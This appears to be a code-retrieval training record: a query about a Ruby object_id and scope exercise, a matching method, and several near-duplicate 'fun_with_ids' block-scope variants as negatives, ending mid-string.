from the perspective of a method call instead of a block.
def fun_with_ids a_outer = 42 b_outer = "forty two" c_outer = [42] d_outer = c_outer[0] a_outer_id = a_outer.object_id b_outer_id = b_outer.object_id c_outer_id = c_outer.object_id d_outer_id = d_outer.object_id puts "a_outer is #{a_outer} with an id of: #{a_outer_id} before the block." puts "b_outer is #{b_outer} with an id of: #{b_outer_id} before the block." puts "c_outer is #{c_outer} with an id of: #{c_outer_id} before the block." puts "d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\n\n" an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id, b_outer_id, c_outer_id, d_outer_id) puts "a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call." puts "b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call." puts "c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call." puts "d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\n\n" puts "a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method." rescue puts "ugh ohhhhh" puts "b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method." rescue puts "ugh ohhhhh" puts "c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method." rescue puts "ugh ohhhhh" puts "d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\n\n" rescue puts "ugh ohhhhh" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n # a, b, c, d have unique ids\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n 1.times do\n a_outer_inner_id = a_outer.object_id\n b_outer_inner_id = b_outer.object_id\n c_outer_inner_id = c_outer.object_id\n d_outer_inner_id = d_outer.object_id\n # The ids will remain the same as before\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\\n\\n\"\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n # ids of a, b, and d will change\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\\n\\n\"\n\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n # a, b, c, d will be the same\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\\n\\n\"\n end\n # a, b, c, d have changed but anything defined inside the block is lost out here\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\\n\\n\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\\n\\n\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\"\n puts\n\n 1.times do\n a_outer_inner_id = a_outer.object_id\n b_outer_inner_id = b_outer.object_id\n c_outer_inner_id = c_outer.object_id\n d_outer_inner_id = d_outer.object_id\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\"\n puts\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\"\n puts\n\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\"\n puts\n end\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\"\n puts\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n 1.times do\n a_outer_inner_id = a_outer.object_id\n b_outer_inner_id = b_outer.object_id\n c_outer_inner_id = c_outer.object_id\n d_outer_inner_id = d_outer.object_id\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\\n\\n\"\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\\n\\n\"\n\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\\n\\n\"\n end\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\\n\\n\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\\n\\n\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\"\n\n 1.times do\n a_outer_inner_id = a_outer.object_id\n b_outer_inner_id = b_outer.object_id\n c_outer_inner_id = c_outer.object_id\n d_outer_inner_id = d_outer.object_id\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\"\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\"\n\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\"\n end\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n \n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before before the block.\"\n puts\n\n 1.times do\n a_outer_inner_id = a_outer.object_id\n b_outer_inner_id = b_outer.object_id\n c_outer_inner_id = c_outer.object_id\n d_outer_inner_id = d_outer.object_id\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\"\n puts\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n\n puts \"a outer inside after reassignment is #{a_outer} with and id of: #{a_outer_id} before and : #{a_outer.object_id} after.\"\n puts \"b outer inside after reassignment is #{b_outer} with and id of: #{b_outer_id} before and : #{b_outer.object_id} after.\"\n puts \"c outer inside after reassignment is #{c_outer} with and id of: #{c_outer_id} before and : #{c_outer.object_id} after.\"\n puts \"d outer inside after reassignment is #{d_outer} with and id of: #{d_outer_id} before and : #{d_outer.object_id} after.\"\n puts\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n\n puts \"a_inner is #{a_inner} with and an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with and an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with and an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with and an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\"\n puts\n end\n\n puts \"a_outer is #{a_outer} with and id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with and id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with and id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with and id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\"\n puts\n\n puts \"a_inner is #{a_inner} with and id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhh\"\n puts \"b_inner is #{b_inner} with and id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhh\"\n puts \"c_inner is #{c_inner} with and id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhh\"\n puts \"d_inner is #{d_inner} with and id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id # 1\n b_outer_id = b_outer.object_id # 2\n c_outer_id = c_outer.object_id # 3\n d_outer_id = d_outer.object_id # 1\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\"\n puts\n\n 1.times do\n\n # a block can access local variables in the outer scope.\n\n a_outer_inner_id = a_outer.object_id # 1\n b_outer_inner_id = b_outer.object_id # 2\n c_outer_inner_id = c_outer.object_id # 3\n d_outer_inner_id = d_outer.object_id # 1\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\"\n puts\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\" # 22 5\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\" # 'thrity three' 6\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\" # [44] 7\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\" # 44 8\n puts\n\n a_inner = a_outer # 22\n b_inner = b_outer # 'thirty three'\n c_inner = c_outer # [44]\n d_inner = c_inner[0] # 44\n\n a_inner_id = a_inner.object_id # 5\n b_inner_id = b_inner.object_id # 6\n c_inner_id = c_inner.object_id # 7\n d_inner_id = d_inner.object_id # 8\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\"\n puts\n end\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\" # 22 1 5\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\" # 'thirty three' 2 6\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\" # [44] 3 7\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\" # 44 1 8\n puts\n\n # a_inner is a block local variable not visible outside the block\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42 # This is an int - 42\n b_outer = \"forty two\" # String\n c_outer = [42] # array\n d_outer = c_outer[0] # This is 42 - int\n\n # Looking these up in irb\n a_outer_id = a_outer.object_id # 85\n b_outer_id = b_outer.object_id # This changes but is long 70317477480160\n c_outer_id = c_outer.object_id # Also changes but long\n d_outer_id = d_outer.object_id # 85\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n 1.times do\n a_outer_inner_id = a_outer.object_id # 85\n b_outer_inner_id = b_outer.object_id # long no\n c_outer_inner_id = c_outer.object_id # long no\n d_outer_inner_id = d_outer.object_id # 85\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer.object_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer.object_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer.object_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer.object_id} inside the block.\\n\\n\"\n\n a_outer = 22 # 45\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0] # 89\n\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\\n\\n\"\n\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\\n\\n\"\n end\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\\n\\n\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\\n\\n\" rescue \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\"\n\n 1.times do\n a_outer_inner_id = a_outer.object_id\n b_outer_inner_id = b_outer.object_id\n c_outer_inner_id = c_outer.object_id\n d_outer_inner_id = d_outer.object_id\n\n puts <<-MSG\n ======\n The object_ids of the variables will be the same before the block and\n outside the block. The values of the variables will also be the same.\n --\n MSG\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\"\n\n a_outer = 22\n b_outer = \"thirty three\"\n c_outer = [44]\n d_outer = c_outer[0]\n\n puts <<-MSG\n ======\n All four of the variables's values will be different.\n The object_ids of `a_outer`, `b_outer`, `outer_c` will be different due\n to the reassignments above and due to the fact that this block-level\n scope can access local variables in its immediate outer-scope.\n `d_outer` will have also have a new object_id since it is referencing a\n reassigned element in `c_outer`.\n --\n MSG\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\"\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n a_inner_id = a_inner.object_id\n b_inner_id = b_inner.object_id\n c_inner_id = c_inner.object_id\n d_inner_id = d_inner.object_id\n\n puts <<-MSG\n =====\n `a_inner_id` will be the same as `a_outer.object_id`\n `b_inner_id` will be the same as `b_outer.object_id`\n `c_inner_id` will be the same as `c_outer.object_id`\n `d_inner_id` will be the same as `d_outer.object_id`\n --\n MSG\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id 